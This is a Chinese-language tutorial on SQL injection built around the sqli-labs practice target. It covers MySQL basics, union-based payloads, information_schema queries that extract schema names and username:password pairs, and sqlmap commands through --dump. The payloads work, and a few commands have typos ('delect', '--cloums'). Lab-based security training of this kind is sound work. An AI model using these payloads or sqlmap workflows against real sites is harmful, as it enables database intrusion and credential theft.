SQL注入漏洞
SQL注入攻击是渗透测试者对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
网站与数据库的不解之缘
网站数据库,就是动态网站存放网站数据的空间。也称数据库空间。 现大多网站都是由ASP、PHP开发的动态网站,网站数据是有专门的一个数据库来存放。网站数据可以通过网站后台,直接发布到网站数据库,网站则把这些数据进行调用。
数据库概念
数据库介绍
- 是用户存放数据、访问数据、操作数据的存储仓库,用户的各种数据被有组织的存放在数据库中。可以随时被有权限的用户查询、统计、添加、删除、和修改。
- 是长期存储在计算机内的,有组织、可共享的数据集合。数据库系统是由普通的文件系统发展而来的。
- 数据库系统具有较高的数据独立性,即不依赖于特定的数据库应用程序;
- 数据库系统的数据冗余小,可以节省数据的存储空间;
- 另外数据库系统还很容易实现多个用户的数据共享
常见的数据库
目前比较流行的数据库有以下几种:
- Oracle
- SQLite
- SQL Server
- Mysql
- Nosql
- ACCESS
- mongodb
- PostgreSQL
Mysql数据库安装
下载PHPStudy集成环境即可,下载地址:Windows版phpstudy下载 - 小皮面板(phpstudy)https://www.xp.cn/download.html
Mysql数据库连接
启动mysql数据库后,我们先安装靶场,安装时靶场会将自行创建初始数据库到我们的Mysql中靶场名称: sqli-labs pikachu
注意事项:
•开启网站目录索引
•php版本选择5.X
•填写mysql密码,默认为root
•添加Mysql到环境变量中:D:\phpstudy_pro\Extensions\MySQL5.7.26\bin
连接mysql
mysql -u root -p # 登陆本地数据库
mysql -u root -p -h 127.0.0.1 -P 3306 # 登陆指定ip、端口数据库,可用于远程登陆
常用的SQL语句
MySQL之增删改查
显示所有数据库 show databases;
选择指定数据库 use 数据库名;
查询所有表名 show tables
插入数据
insert into 表名 values(值1, 值2, ......);
insert into table_name (列1, 列2,...) VALUES (值1, 值2,....); # 插入一条语句
insert into table_name (列1, 列2,...) VALUES (值1, 值2,....),(值1, 值2,....); # 同时插入多条语句
查询表中数据
select * from 表名; # 查询表中所有内容
select name from users; # 查询 users 表中 name 值;
select * from users where age条件语句,可用 "=" ">" "=" "可以使用 and or指定多个条件select * from users limit 1,2; # limit 第一个参数是指定开始位置,第二个参数是个数
删除数据
delete from 表名 [WHERE Clause]; # 删除指定条件的语句
delect from 表名; # 删除所有数据
TRUNCATE 表名; # 删除所有数据,保留表的结构,重新创建表
更新数据
update 表名 SET 字段1=new-value1, 字段2=new-value2 [WHERE Clause]; # 指定条件更新语句
SQL注入原理
攻击者将恶意的SQL代码拼接到网站本身的SQL语句中执行
简单来说就是,我们能够让对方的数据库执行我们想让它执行的东西,变相的控制了目标的数据库权限
联合查询注入
联合查询是一种SQL语法,能够同时执行两条select语句,现在我们已经发现了能够执行sql语句的漏洞,我们只要执行我们想要的SQL语句就可以了
联合查询语法:select * from users where id=1 union select email_id,2,3 from emails where id = 1;
构造的攻击代码:
1. -1' union select 1,2,3 from emails where id = 1--+
2. -1' union select 1,email_id,3 from emails where id = 1--+
SQL注入流程
1.寻找注入点
得到目标网站的一般信息和技术分析信息之后,就要寻找注入点和测试注入点,这些点位都是与数据库有交互的地方
常用注入点在哪里?
我们一般在三个地方,寻找注入点
1. 表单中的输入参数
2. URL中的参数
3. Cookie或header头中其它参数
用户信息、排名公布、文章展示、评论、搜索框、登陆框、cookie(session持久化需要存储在数据库中)
2.测试注入点&&判断闭合符号
常用的测试符号
- 单引号 '
- 双引号 "
- 无符号(直接拼接)
- 圆括号 ()
这些符号通常是服务器后台代码中用来包裹用户输入变量的字符,当插入正确的闭合字符时,会破坏原有的sql语句;
根据报错信息判断闭合符号
输入常用闭合符号使页面抛出sql语法错误的报错信息,根据报错信息可以发现闭合符号
3.注入sql语句
找到注入点以后,我们就可以执行相应的sql语句,来获取数据库中的信息UNION 联合查询注入
order by 语句判断列数
•二分法查找列数:先 order by 一个比较大的数字m,若报错再取其中位数 n 继续 order by, 若正常说明列数在 [n, m) 之间, 再取 n , m 之间的中位数 order by 如此反复多次,即可获取列数
3.注入sql语句
构造恶意代码的模板
http://127.0.0.1/sqli-labs-master/Less-1/?id=9999' union select 1,(select xxxxxx),3--+
查询数据库内容常用语句
1.暴库:select group_concat(schema_name) from information_schema.schemata;
2.暴表1:select group_concat(table_name) from information_schema.tables where table_schema='security'; 加引号 暴表2:select table_name from information_schema.tables where table_schema='security' limit 3,1; 加引号
3.暴字段1:select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'; 加引号
暴字段2:select column_name from information_schema.columns where table_name='users' and
table_schema='security' limit 1,1;
4.暴字段值:select group_concat(username,0x3a,password) from security.users; 不加引号
SQLMAP
sqlmap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令
sqlmap基本使用
1.检测注入点
检测是否存在sql注入漏洞,注意get型注入提交的url中要有含义参数命令:python sqlmap.py -u http://www.sqli.com/Less-1/?id=1
2.暴库
获取当前库名: python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 --current-db
3.暴表
获取所有表名: python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -D security --tables
4.暴字段
获取所有字段名: python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -D security -T users --cloums
5.暴数据
获取 security 库中 users 表中所有数据内容: python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -D security -T users --dump
# 获取指定字段数据内容
python sqlmap.py -u http://www.sqli.com/Less-1/?id=1 -D security -T users -C password,username --dump